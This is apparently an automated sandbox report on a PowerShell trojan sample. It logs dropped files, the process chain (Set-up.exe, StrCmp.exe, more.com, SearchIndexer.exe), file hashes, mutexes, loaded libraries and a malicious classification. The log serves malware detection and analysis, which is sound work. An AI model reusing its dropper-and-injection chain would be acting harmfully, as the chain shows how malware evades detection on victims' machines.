Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347AFD45	0_2_00007FFD347AFD45
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347ACE75	0_2_00007FFD347ACE75
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347A27FA	0_2_00007FFD347A27FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347A6F68	0_2_00007FFD347A6F68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347AF0FA	0_2_00007FFD347AF0FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347A386A	0_2_00007FFD347A386A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347B11F5	0_2_00007FFD347B11F5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347AB275	0_2_00007FFD347AB275
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347A3B9D	0_2_00007FFD347A3B9D
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Code function: 5_2_004014BC	5_2_004014BC
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Code function: 5_2_00401120	5_2_00401120
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_0487B899	9_2_0487B899
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_0484F8F8	9_2_0484F8F8
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_04864C08	9_2_04864C08
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_04865018	9_2_04865018
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_048725A0	9_2_048725A0
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_04866AB8	9_2_04866AB8
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_04852708	9_2_04852708
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_04868B28	9_2_04868B28
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Code function: 9_2_0486A928	9_2_0486A928

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk 991BB228C6D5A367A47BE5F168AD470B394D87A81D754155EF3A4FE731381AD0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\file\Set-up.exe 46AFBF1CBD2E1B5E108C133D4079FADDC7347231B0C48566FD967A3070745E7F
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\file\WebUI.dll 74DC92EFC8279B770319549E818BBB5DF711121E7EB9C7A0D54B4FF74D08D037

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 440

Source: StrCmp.exe, 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: @*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp
Source: StrCmp.exe	Binary or memory string: @*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp
Source: Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, StrCmp.exe, 00000005.00000000.2446524946.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, StrCmp.exe, 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: @`@*\AE:\Eigene Dateien\VB-Zeugs\Projekte\K700 Manager\Bluetooth Daemon\AsyncStartDemo.vbp

Source: classification engine

Classification label: mal100.troj.evad.winPS1@12/490@1/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4140
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3704:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3m2a0t0.aj5.ps1

Jump to behavior

Source: Yara match	File source: 4.0.Set-up.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.2440781515.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, type: DROPPED

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: SearchIndexer.exe	String found in binary or memory: wild-stop-dirs
Source: SearchIndexer.exe	String found in binary or memory: more-help

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\de7s.txt.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 440
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe "C:\Users\user\AppData\Local\Temp\file\Set-up.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\SearchIndexer.exe C:\Windows\SysWOW64\SearchIndexer.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: webui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: shdocvw.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\CHM\XMBOAWNYC\StrCmp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002E005-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb<k source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Sensors\obj\Release\Microsoft.WindowsAPICodePack.Sensors.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880AA4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ShellExtensions\obj\Release\Microsoft.WindowsAPICodePack.ShellExtensions.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880BFC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb8 source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.BootstrapIcons\net47\MahApps.Metro.IconPacks.BootstrapIcons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Shell\obj\Release\Microsoft.WindowsAPICodePack.Shell.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880AF5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880D63000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Set-up.exe, 00000004.00000002.2555793757.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2553534456.0000000002F47000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751040785.000000000475B000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751278063.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785768391.00000000044D3000.00000004.00000020.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2786024510.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Unicons\net47\MahApps.Metro.IconPacks.Unicons.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdbn source: powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000000.00000002.2445428097.000001D880DE9000.00000004.00000800.00020000.00000000.sdmp
